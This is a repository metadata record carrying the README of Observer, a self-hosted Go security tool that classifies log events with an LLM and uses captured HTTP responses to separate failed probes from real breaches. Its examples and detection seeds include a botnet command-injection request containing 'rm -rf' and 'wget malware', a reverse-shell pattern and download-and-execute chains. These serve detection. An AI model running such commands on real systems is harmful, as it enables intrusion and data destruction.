{"id":50176090,"url":"https://github.com/vaultguardian/observer","last_synced_at":"2026-06-01T06:00:35.863Z","repository":{"id":359246743,"uuid":"1186681091","full_name":"VaultGuardian/observer","owner":"VaultGuardian","description":"Captures the HTTP response your server actually sent, from inside the reverse proxy's network namespace, to tell a 404'd probe from a real breach. Then only alerts on the ones that landed.","archived":false,"fork":false,"pushed_at":"2026-05-25T02:56:23.000Z","size":16824,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-05-25T04:13:31.516Z","etag":null,"topics":["cybersecurity","cybersecurity-tools","golang","logging","self-hosted","siem"],"latest_commit_sha":null,"homepage":"https://vaultguardian.io","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/VaultGuardian.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-03-19T22:05:51.000Z","updated_at":"2026-05-25T02:55:18.000Z","dependencies_parsed_at":"2026-06-01T06:00:32.676Z","dependency_job_id":null,"html_url":"https://github.com/VaultGuardian/observer","commit_stats":null,"previous_names":["vaultguardian/observer"],"tags_count":129,"template":false,"template_full_name":null,"purl":"pkg:github/VaultGuardian/observer","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VaultGuardian%2Fobserver","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VaultGuardian%2Fobserver/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VaultGuardian%2Fobserver/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VaultGuardian%2Fobserver/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/VaultGuardian","download_url":"https://codeload.github.com/VaultGuardian/observer/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/VaultGuardian%2Fobserver/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33762215,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-01T02:00:06.963Z","response_time":115,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cybersecurity","cybersecurity-tools","golang","logging","self-hosted","siem"],"created_at":"2026-05-25T04:06:31.345Z","updated_at":"2026-06-01T06:00:35.852Z","avatar_url":"https://github.com/VaultGuardian.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Observer\r\n\r\n**Self-hosted log security that separates attack attempts from attack impact.**\r\n\r\n[![License: AGPL v3](https://img.shields.io/badge/License-AGPL_v3-blue.svg)](LICENSE) [![Go](https://img.shields.io/badge/Go-1.25-00ADD8.svg)](go.mod) [![Platform](https://img.shields.io/badge/platform-Linux%2FDocker-lightgrey.svg)]()\r\n\r\nObserver is a single Go binary that watches your Docker and Linux logs, classifies suspicious activity, and — when it can — captures the server's response to answer the question most security tools skip:\r\n\r\n\u003e **Did the attack actually work?**\r\n\r\nObserver is for people who want fewer security alerts, not fewer security signals.\r\n\r\n---\r\n\r\n## Why Observer exists\r\n\r\nMost internet traffic to a public server is hostile. The shape is familiar:\r\n\r\n```\r\nGET /.env\r\nGET /wp-admin/setup-config.php\r\nGET /containers/json\r\nGET /actuator/env\r\nPOST /cgi-bin/[some-router-CVE]\r\n```\r\n\r\nAlmost all of it fails. The path doesn't exist, the auth is wrong, the version isn't vulnerable, the upstream rejected it. The attacker moves on.\r\n\r\nMost IDSes don't know any of that. They see the request, match a signature, and email you. Multiply that by a botnet and you get the experience every operator knows: an inbox full of alerts about attacks that hit a 404.\r\n\r\nObserver is built around the reality that **most probes fail**. Failed probes should become probe intelligence, not panic. Confirmed impact, explicit policy hits, or genuinely unresolved high-risk events are the things that should interrupt you.\r\n\r\nThe product decision: **email on confirmed impact, log everything else.**\r\n\r\n---\r\n\r\n## See it in action\r\n\r\nTwo real attacks caught in production. Both look the same at the request layer. Observer treats them very differently because of what the server actually returned.\r\n\r\n### Failed attack — Netgear botnet probe\r\n\r\nAn IoT botnet tried to exploit a Netgear router vulnerability to download and execute malware:\r\n\r\n```\r\nGET /setup.cgi?cmd=rm+-rf+/tmp/*;wget+malware;sh+netgear\r\n```\r\n\r\n![Observer downgrade example](docs/images/downgrade-netgear.png)\r\n\r\nWhat Observer did:\r\n\r\n1. **Tier 1 classification:** the LLM read the log line, identified command execution via `setup.cgi`, returned `malicious` at 0.78 confidence. No pattern was learned (malicious verdicts deliberately do not auto-learn broad patterns).\r\n2. **Coordinator held for evidence:** instead of firing immediately, the finding was held 2–5 seconds while REC delivered the response.\r\n3. **REC captured the HTTP response:** the reverse proxy returned `404 Not Found`. The path doesn't exist on this server.\r\n4. **Final verdict: `recon` (downgraded by evidence).** Recorded as probe intelligence. **No email**, no incident.\r\n\r\nThat's one alert saved. Multiply by the thousands of automated probes a public server sees daily. A dedicated Probes view to separate failed-probe intelligence from active findings is coming in v1.1; today, recon events are visible in the findings list filtered by verdict.\r\n\r\n### Successful attack — CVE-2025-55182 (React2Shell)\r\n\r\nWe deployed a vulnerable Next.js 15.0.0 test container and fired the public PoC for [CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182) — a CVSS 10.0 pre-auth RCE that achieved arbitrary code execution as root. The attacker dumped `/etc/passwd`:\r\n\r\n![Observer React2Shell escalation](docs/images/react2shell-escalated.png)\r\n\r\n```\r\n[ALERT] Source=docker:srv-captain--react2shell-test\r\n  Reason=System credential file contents (/etc/passwd) in output\r\n  MatchedVia=seeded\r\n\r\n[ESCALATE] Source=docker:srv-captain--react2shell-test\r\n  Reason=System credential file contents (/etc/passwd) in output\r\n  MatchedVia=seeded (non-HTTP malicious, direct dispatch)\r\n```\r\n\r\nA seeded pattern matched `root:x:0:0:root` in the container's output. Verdict: `malicious`, instantly, deterministically. **Email sent. Zero LLM calls** — the credential dump tripped a hard-coded seed before the AI was even consulted.\r\n\r\nSame Tier 1 shape as the Netgear case. Different Tier 2 outcome. Different operator experience.\r\n\r\n---\r\n\r\n## How it works\r\n\r\nObserver's pipeline is deterministic-first. The LLM is consulted only for events Observer hasn't seen before — typically under 5% of traffic in production.\r\n\r\n```\r\nlog line arrives (Docker container or journald)\r\n   │\r\n   ▼\r\ndeterministic filters    stack traces, failed HTTP probes, SSH brute force\r\n   │\r\n   ▼\r\npolicy engine            SSH logins, user creation, privilege escalation\r\n   │\r\n   ▼\r\nseed patterns            credential dumps, reverse shells, private keys\r\n   │\r\n   ▼\r\npattern store            4 buckets × 4 tiers (hash → prefix → regex → contains)\r\n   │                     known-good?  → skip silently\r\n   │                     known-noise? → suppress silently\r\n   │                     known-bad?   → coordinator holds for evidence\r\n   │                     unknown?     → goes to LLM\r\n   ▼\r\nLLM classifier           local Ollama by default; OpenAI-compatible optional\r\n   │                     classifications cached → next time is free\r\n   ▼\r\ncoordinator              correlates request with response\r\n   │                     joins against ↓\r\n   ▼\r\nREC                      AF_PACKET sniffer inside the reverse proxy\r\n                         namespace, full TCP reassembly, HTTP response\r\n                         capture (when traffic traverses the sniffed device)\r\n   │\r\n   ▼\r\nverdict                  recon       → record as probe intelligence, no email\r\n                         alert       → log, configurable email\r\n                         malicious   → email immediately with evidence\r\n                         evidence_unavailable → log, mark honestly\r\n```\r\n\r\n### Pipeline layers\r\n\r\n1. **Deterministic filters** — Stack traces, failed HTTP probes, SSH brute force. Structural detection. Never touches the LLM.\r\n2. **Policy engine** — SSH logins, user creation, privilege escalation, `authorized_keys` modification. Identity-based decisions with trusted IP allowlist.\r\n3. **Seed patterns** — Credential file contents (`root:x:0:0:`), private keys (`BEGIN RSA PRIVATE KEY`), reverse shells (`bash -i \u003e\u0026 /dev/tcp`), download-and-execute chains (`curl | sh`). Deterministic substring match, instant `malicious` verdict, direct email dispatch.\r\n4. **Pattern store** — Four-bucket (allow / malicious / alert / suppress), four-tier (hash → prefix → regex → contains). In-memory lookups, no network round-trip. Cache hit rate runs above 97% in production once the system has seen a few days of traffic.\r\n5. **LLM classifier** — OpenAI-compatible API. Intent × outcome classification. Local Ollama by default, hosted endpoint optional. Bounded retry queue handles backpressure.\r\n6. **REC (Response Evidence Capture)** — AF_PACKET sniffer inside the reverse proxy's network namespace. Full TCP reassembly via gopacket. Captures HTTP responses, redacts secrets structurally, correlates with alerts. VIP lane protects malicious evidence from traffic-flood eviction.\r\n7. **Coordinator** — Groups alerts, holds for evidence (2–5 s), downgrades false alarms, dispatches findings. Email only on confirmed impact.\r\n8. **Catch-all suppression** — Learns server response fingerprints (host, status, body hash). Auto-downgrades repeated identical responses across different attack paths.\r\n9. **Evidence reconciler** — Background process finalizes unresolved findings. Marks as `evidence_unavailable` after a timeout if REC never captured a response — honest, not silent.\r\n\r\nThe whole thing ships as one Go binary. Single static build, no CGO, runs as a systemd service.\r\n\r\n---\r\n\r\n## Local-first by default\r\n\r\nObserver's binary defaults point at a local Ollama instance:\r\n\r\n```bash\r\nLLM_URL=http://llm:11434\r\nLLM_MODEL=qwen2.5:7b\r\n```\r\n\r\nThis means:\r\n\r\n- **Your logs do not leave your network.** LLM consultation runs on the same machine (or LAN) Observer is deployed on. Nothing about your infrastructure, secrets, session tokens, request bodies, or PII gets sent to a third-party AI provider.\r\n- **API costs are zero.** Ollama is free; the only cost is the compute to run it.\r\n- **Air-gapped deployments work.** If your environment can't reach the public internet, Observer still works as long as Ollama is reachable on the LAN.\r\n\r\nThe installer asks which provider you want before configuring — Ollama or any OpenAI-compatible endpoint (OpenAI, Together, Groq, vLLM, Anthropic via OpenAI-compatible proxy, or your own self-hosted gateway). Observer uses standard `POST /v1/chat/completions`. There's no vendor lock-in.\r\n\r\nFor regulated environments, the local-Ollama path helps avoid the first privacy objection: logs do not need to leave your network for classification.\r\n\r\n---\r\n\r\n## Verdict types\r\n\r\n| Verdict | Meaning | Emails? |\r\n|---|---|---|\r\n| `recon` | Suspicious request that didn't work — failed probe, hit a 404/403/410/405, or got blocked upstream. Recorded as probe intelligence. | No |\r\n| `alert` | Suspicious request, outcome unclear. Logged with whatever evidence Observer has. | Configurable |\r\n| `malicious` | Confirmed impact. REC captured a response containing evidence of exploitation, or a seeded pattern matched. | **Yes** |\r\n| `policy` | Operator-defined deny rules. Always escalates regardless of outcome. | Yes |\r\n| `allow` | Known-safe traffic shape. Cached, never re-classified. | No |\r\n| `suppress` | Known-noise pattern (operational scanners, health checks). Counted but not surfaced. | No |\r\n| `evidence_unavailable` | Observer flagged the request but couldn't capture a response. Honest, not silent. | No |\r\n\r\nObserver tries to avoid escalating failed probes and known noise, but it does not downgrade evidence of impact. If response evidence, seeded patterns, or policy rules show compromise or disclosure, the event escalates.\r\n\r\n---\r\n\r\n## Cost in production (3 servers, 30 days)\r\n\r\nBelow is the OpenAI usage chart from one operator running Observer across three production servers for a 30-day window:\r\n\r\n![OpenAI usage — 30 days, 3 servers running Observer](docs/images/openai-usage-30d.png)\r\n\r\n**Total spend: $34.02** for 30 days across 3 servers — 35,888 LLM requests, ~88M tokens. Those 35,888 requests are the *novel* events that missed the deterministic cache and reached the cloud model; the vast majority of traffic was classified locally and never cost a thing.\r\n\r\nThat total includes two anomalous spike days — Apr 28 ($9.24) and Apr 29 ($11.24) — a runaway-loop bug shipped during development. Backing those out, baseline 30-day spend across all 3 servers was about **$13.50**, or roughly **15 cents per server per day**.\r\n\r\nPer-request cost works out to around **$0.0009** — under a tenth of a cent per event that reached the LLM.\r\n\r\nThe reason it's cheap is **not** that the LLM is cheap. It's that the LLM is rarely consulted. The deterministic-first pipeline (hash cache + pattern store + seeded matches + REC short-circuits) handles 97%+ of events without ever calling the LLM. Cloud-API cost scales with novel events, not with traffic volume.\r\n\r\nAnd again: **this is the cloud-API path, which is opt-in.** The default Ollama path costs $0 in API spend regardless of event volume.\r\n\r\n---\r\n\r\n## Install\r\n\r\nOne command on any Linux server:\r\n\r\n```bash\r\ncurl -fsSL https://raw.githubusercontent.com/VaultGuardian/observer/main/install.sh | sudo bash\r\n```\r\n\r\nFor people who prefer not to pipe curl to sudo bash (reasonable, especially on a security tool!), the manual path:\r\n\r\n```bash\r\n# Find the latest release\r\nLATEST=$(curl -fsSL https://api.github.com/repos/VaultGuardian/observer/releases/latest \\\r\n  | grep '\"tag_name\"' | cut -d'\"' -f4)\r\n\r\n# Download the binary\r\ncurl -fsSL \"https://github.com/VaultGuardian/observer/releases/download/${LATEST}/observer\" \\\r\n  -o observer\r\n\r\n# Verify the SHA256 against the release page on GitHub\r\nsha256sum observer\r\n\r\n# Install\r\nsudo mv observer /usr/local/bin/\r\nsudo chmod +x /usr/local/bin/observer\r\n```\r\n\r\nThen write the systemd unit and `/etc/vaultguardian/observer.env` by hand. The `install.sh` script handles both for you in the one-liner path; the unit content it writes is identical to what you'd write manually.\r\n\r\nThe installer prompts for:\r\n- LLM provider (Ollama or any OpenAI-compatible endpoint). It probes for a local Ollama instance and recommends it by default; the cloud path is an explicit opt-in.\r\n- LLM model name\r\n- Server nickname (used in alert emails — defaults to system hostname)\r\n- Dashboard API port (default `9090`)\r\n- Resend API key, alert destination address, and sender (\"From\") address (optional). The From address defaults to Resend's pre-verified sandbox sender (`onboarding@resend.dev`), so email works out of the box before you've verified your own domain.\r\n- Whether to enable Response Evidence Capture (REC)\r\n\r\nRe-running the installer over an existing install detects your `/etc/vaultguardian/observer.env` and **preserves it** — your settings (bind address, CORS allowlist, REC tuning, notifier config) are kept, the configuration prompts are skipped, and only the binary and systemd unit are refreshed. To change settings, edit the env file directly and `systemctl restart observer`; to reconfigure from scratch, remove the env file first. For binary-only upgrades, prefer `vaultguardian update`.\r\n\r\nDocker containers are monitored automatically if Docker is present. If not, Observer watches everything via journald — the policy engine, classification, and email alerts all work on a bare-metal server with nothing but `sshd`.\r\n\r\nAfter install, manage with the CLI:\r\n\r\n```bash\r\nvaultguardian status          # Service status + recent logs\r\nvaultguardian logs            # Tail logs\r\nvaultguardian stats           # Pipeline performance\r\nvaultguardian update          # Update to latest release\r\nvaultguardian update v0.48    # Update to a specific version\r\nvaultguardian restart         # Restart observer\r\nvaultguardian version         # Current + available versions\r\nvaultguardian uninstall       # Remove observer (data preserved)\r\n```\r\n\r\nTested on Debian 12+, Ubuntu 22.04+, and recent Rocky/Alma. Anything systemd-based with kernel 5.x+ should work.\r\n\r\n---\r\n\r\n## Configuration\r\n\r\nConfiguration is environment variables, loaded from `/etc/vaultguardian/observer.env` (chmod `0600`, root only) by the systemd unit's `EnvironmentFile=` directive.\r\n\r\n### Core\r\n\r\n| Variable | Default | Description |\r\n|---|---|---|\r\n| `DATA_DIR` | `/data` | Pattern store + SQLite persistence |\r\n| `DOCKER_SOCKET` | `/var/run/docker.sock` | Docker socket path |\r\n| `JOURNALD_ENABLED` | (unset) | Set to `true` to watch host journald |\r\n| `EXCLUDE_CONTAINERS` | | Comma-separated container names to skip |\r\n| `JOURNALD_EXCLUDE_UNITS` | | Additional systemd units to suppress |\r\n| `HOSTNAME` | (system hostname) | Label for this server, included in alert emails alongside the IP. The installer's \"server nickname\" prompt writes this. |\r\n\r\n### LLM\r\n\r\n| Variable | Default | Description |\r\n|---|---|---|\r\n| `LLM_URL` | `http://llm:11434` | Endpoint (any OpenAI-compatible API works) |\r\n| `LLM_MODEL` | `qwen2.5:7b` | Model name on the endpoint |\r\n| `LLM_API_KEY` | | Only required if your endpoint demands one |\r\n| `LLM_SLOTS` | `4` | Max concurrent LLM requests |\r\n| `LLM_TIER1_EFFORT` | `low` | Reasoning effort for Tier 1 classification |\r\n| `LLM_TIER2_EFFORT` | `medium` | Reasoning effort for Tier 2 evidence review |\r\n\r\nTo use OpenAI directly, override the defaults:\r\n\r\n```bash\r\nLLM_URL=https://api.openai.com\r\nLLM_MODEL=gpt-5-mini\r\nLLM_API_KEY=sk-xxxxxxxxxxxx\r\n```\r\n\r\n### REC (Response Evidence Capture)\r\n\r\n| Variable | Default | Description |\r\n|---|---|---|\r\n| `REC_ENABLED` | `false` | Master switch for REC |\r\n| `REC_INTERFACE` | (auto) | Interface to sniff |\r\n| `REC_NS_CONTAINER` | | Container whose namespace REC enters (e.g. `captain-nginx`) |\r\n| `REC_PORTS` | `80,8080` | Comma-separated HTTP ports REC always sniffs |\r\n| `REC_LEARNED_PORT_CAP` | `64` | Cap on runtime-learned ports (`0` to disable learning) |\r\n| `REC_REASSEMBLY_MAX_BODY` | `2048` | Max bytes to reassemble per HTTP response |\r\n| `REC_REASSEMBLY_STREAM_TTL` | `5s` | Lifetime for an idle reassembly stream |\r\n\r\nAdditional REC tuning knobs exist (`REC_FLOW_*`, `REC_REASSEMBLY_MAX_BUFFERED_PAGES_*`); see [`docs/configuration.md`](docs/configuration.md) for the full list.\r\n\r\n### Dashboard\r\n\r\n| Variable | Default | Description |\r\n|---|---|---|\r\n| `DASHBOARD_PORT` | `9090` | Port the API listens on |\r\n| `DASHBOARD_BIND_ADDR` | `127.0.0.1` | Bind address — defaults to localhost only |\r\n| `DASHBOARD_KEY_FILE` | `/etc/vaultguardian/dashboard.key` | Path to bearer token file (auto-generated) |\r\n| `DASHBOARD_ALLOWED_ORIGINS` | (none) | Comma-separated CORS allowlist; empty = no CORS headers |\r\n\r\n\u003e **Important:** the dashboard binds to `127.0.0.1` by default. If you change this to `0.0.0.0` to expose it on a network, do that behind a reverse proxy with TLS and authentication. Observer logs a warning when the dashboard is bound to a non-loopback address.\r\n\r\n### Email alerts (optional)\r\n\r\n| Variable | Default | Description |\r\n|---|---|---|\r\n| `RESEND_API_KEY` | | Resend API key for delivery |\r\n| `ALERT_EMAIL_TO` | | Destination address for alert emails |\r\n| `ALERT_EMAIL_FROM` | `VaultGuardian Observer \u003conboarding@resend.dev\u003e` | Sender address. Must be verified in **your** Resend account. The default is Resend's sandbox sender, which works without domain setup; switch to your own verified domain once you have one. |\r\n\r\nWhen configured, escalation emails include the `HOSTNAME` (above) and the server's primary IP, so it's obvious which machine fired the alert when you're running Observer on multiple servers.\r\n\r\n---\r\n\r\n## What it catches\r\n\r\n**Policy engine (deterministic, pre-LLM):**\r\n- SSH login from unknown IP → instant email alert\r\n- New user created (`useradd`) → escalation\r\n- Privilege grant (`usermod -aG sudo`) → escalation\r\n- SSH `authorized_keys` modification → escalation\r\n- Failed sudo attempts → alert\r\n\r\n**Seed patterns (deterministic, no LLM needed):**\r\n- System credential file contents (`root:x:0:0:root`) in any log stream → instant escalation\r\n- Private keys (`BEGIN RSA PRIVATE KEY`, `BEGIN OPENSSH PRIVATE KEY`) → instant escalation\r\n- Reverse shells (`bash -i \u003e\u0026 /dev/tcp`) → instant escalation\r\n- Remote code execution chains (`curl | sh`, `wget | sh`, `base64 -d | bash`) → instant escalation\r\n\r\n**LLM classification (learns over time):**\r\n- SQL injection, shell injection, PHP wrappers, encoded exploits\r\n- Path traversal, reconnaissance probes\r\n- Successful vs. failed attack outcomes (intent × outcome)\r\n- Protocol mismatches, binary probes, scanner noise\r\n- Data exfiltration patterns (command output, env dumps, credential leaks)\r\n\r\n**Deterministic suppression (never hits the LLM):**\r\n- Failed HTTP probes — `400`/`403`/`404`/`405`/`410` responses, regardless of path or payload. A 404 on `/.env` is still a 404; nothing was disclosed at the router. The only thing that bypasses this filter is **actual disclosure evidence in the log line itself** (e.g., a credential dump in the response body), which escalates regardless of status code. Body-parser exploits that succeed (XXE, deserialization, Log4Shell) generate downstream log lines — process spawns, file reads, response disclosures — that the seed patterns, policy engine, and REC catch with confirmed-impact evidence rather than request-shape suspicion.\r\n- Application stack traces (Node.js, Python, Go, Java)\r\n- SSH brute force (thousands per day on every public server)\r\n- Nginx file-not-found errors\r\n- Firewall blocks (UFW/iptables)\r\n\r\n---\r\n\r\n## Dashboard\r\n\r\nObserver exposes a REST API on the configured `DASHBOARD_PORT`, protected by a randomly generated bearer token stored at `/etc/vaultguardian/dashboard.key`.\r\n\r\nThe API provides:\r\n- Security findings (events, verdicts, evidence)\r\n- Pipeline stats (cache rate, LLM calls)\r\n- Pattern store inspection (scopes, learned patterns)\r\n- LLM decision audit trail\r\n- Trusted IP management\r\n- Policy rule status\r\n\r\nThe multi-server dashboard is live at [app.vaultguardian.io](https://app.vaultguardian.io). Add your Observer instances, and the dashboard aggregates findings, events, and pipeline stats across your fleet.\r\n\r\nFor operators who prefer direct API access, query the local endpoint:\r\n\r\n```bash\r\n# Pipeline stats\r\ncurl -H \"Authorization: Bearer $(sudo cat /etc/vaultguardian/dashboard.key)\" \\\r\n  http://localhost:9090/api/stats\r\n\r\n# Recent findings\r\ncurl -H \"Authorization: Bearer $(sudo cat /etc/vaultguardian/dashboard.key)\" \\\r\n  http://localhost:9090/api/findings?limit=50\r\n\r\n# Add a trusted IP\r\ncurl -X POST -H \"Authorization: Bearer $(sudo cat /etc/vaultguardian/dashboard.key)\" \\\r\n  -H \"Content-Type: application/json\" \\\r\n  -d '{\"ip\":\"98.152.173.124\",\"description\":\"Office\"}' \\\r\n  http://localhost:9090/api/trusted-ips\r\n```\r\n\r\nA dedicated **Probes view** that separates `recon` events from active findings is on the v1.1 roadmap.\r\n\r\n---\r\n\r\n## What Observer is not\r\n\r\nHonest disclaimers. Security tools that overclaim are worse than security tools that don't exist:\r\n\r\n- **Not a replacement for patching.** Observer telling you an attack failed because it hit a 404 doesn't mean the application is secure. Patch your stuff.\r\n- **Not a full SIEM.** Observer focuses on log security and response-evidence verification. It doesn't do log aggregation across infrastructure, compliance reporting, or long-term forensic storage. If you have a SIEM, Observer complements it; it does not replace it.\r\n- **Not a firewall or IPS.** Observer observes. It doesn't block traffic, drop connections, or modify packets. Use it alongside a real edge filter.\r\n- **Not magic exploit detection.** REC captures HTTP response evidence when it can. Edge cases — mid-stream attach during Observer restart, responses generated upstream of the sniffed device, encrypted tunnels that don't traverse the sniffed namespace — produce findings without evidence. Observer marks those `evidence_unavailable` rather than guessing.\r\n- **Not a guarantee.** No security tool is. Observer reduces alert fatigue and surfaces real impact when it can. It does not eliminate the need for skilled operators.\r\n\r\n---\r\n\r\n## Project structure\r\n\r\n```\r\n├── main.go                     # Pipeline wiring, coordinator, retry queue, reconciler\r\n├── seeds.go                    # Curated malicious pattern seeds\r\n├── resultrouter.go             # Shared classification outcome handler\r\n├── config.go                   # Environment variable configuration\r\n├── install.sh                  # One-command installer\r\n├── internal/\r\n│   ├── analyzer/               # Normalize → match → classify → learn\r\n│   ├── api/                    # REST API + bearer token auth\r\n│   ├── coordinator/            # Evidence huddle + catch-all suppression\r\n│   ├── event/                  # Canonical event model\r\n│   ├── llm/                    # LLM client, Tier 1 + Tier 2 prompts\r\n│   ├── normalizer/             # Source-specific log normalization\r\n│   ├── notifier/               # Email (Resend), webhook\r\n│   ├── patternstore/           # 4-bucket, 4-tier pattern matching\r\n│   ├── policy/                 # Deterministic pre-LLM policy engine\r\n│   ├── rec/                    # Response Evidence Capture (AF_PACKET)\r\n│   ├── store/                  # SQLite persistence (findings, decisions, async writer)\r\n│   └── watcher/                # Docker + journald log streaming\r\n└── README.md\r\n```\r\n\r\n---\r\n\r\n## Build from source\r\n\r\n```bash\r\ngit clone https://github.com/VaultGuardian/observer.git\r\ncd observer\r\n\r\n# Test\r\ngo test ./...\r\n\r\n# Build for Linux\r\nGOOS=linux GOARCH=amd64 go build -o observer .\r\n```\r\n\r\nRequires Go 1.25+.\r\n\r\n---\r\n\r\n## Contributing\r\n\r\nObserver's normalizers are the primary contribution path. Each normalizer teaches Observer to recognize a specific service's log format, improving hash-hit rates and reducing LLM calls.\r\n\r\nObserver works with everything out of the box via the generic normalizer. Service-specific normalizers make it faster and cheaper.\r\n\r\nTo add a normalizer:\r\n1. Create `internal/normalizer/yourservice.go` implementing the `Normalizer` interface\r\n2. Register it in `normalizer.go`\r\n3. Add tests in `normalizer_test.go`\r\n\r\n---\r\n\r\n## License\r\n\r\nObserver is licensed under [AGPL-3.0](LICENSE).\r\n\r\n- **Self-hosting Observer is free, forever.** The AGPL license guarantees this. Run it on as many servers as you want, in production, indefinitely, no fees.\r\n- **The hosted dashboard at `app.vaultguardian.io`** is an optional commercial offering for operators who'd rather not query the API directly. The Observer binary itself remains AGPL regardless of which dashboard you use.\r\n- **AGPL means modifications you publish must be source-available under AGPL.** The goal is simple: self-hosters can run and modify Observer freely, while public hosted versions must keep their source available under the AGPL. This leaves normal self-hosters and commercial users entirely unaffected; it just prevents large cloud providers from rewrapping Observer as a closed-source managed service.\r\n\r\nIf you're unsure whether your use case falls within the license, open an issue and ask.\r\n\r\n---\r\n\r\n## Issues and contact\r\n\r\n- **Bugs / feature requests:** [GitHub Issues](https://github.com/VaultGuardian/observer/issues)\r\n- **Security disclosures:** `security@vaultguardian.io` (PGP key on the website)\r\n- **General questions:** [GitHub Discussions](https://github.com/VaultGuardian/observer/discussions) or `hello@vaultguardian.io`\r\n\r\nObserver came out of building [VaultDEC-1](https://vaultguardian.io). DEC-1 is a Layer 2 invisible inline bridge that severs the connection to the backup server when it sees exfiltration starting — and that part turned out to be the easy half. The harder problem was that DEC-1 only catches the attacker on the way out. By the time they're trying to leave, they've already been on the network, already navigated to whatever they were looking for, already decided what to take.\r\n\r\nObserver is the half of the story that runs earlier — the probes, the recon, the failed and successful exploits — so an operator can know *while* an attacker is on the box, not after.\r\n\r\nIf it's useful to you, a star on the repo helps it find other people in the same situation.\r\n\r\n---\r\n\r\n*Part of the [VaultGuardian](https://vaultguardian.io) ecosystem. Observer detects the intrusion. [DEC-1](https://vaultguardian.io) stops the data from leaving.*","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvaultguardian%2Fobserver","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fvaultguardian%2Fobserver","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvaultguardian%2Fobserver/lists"}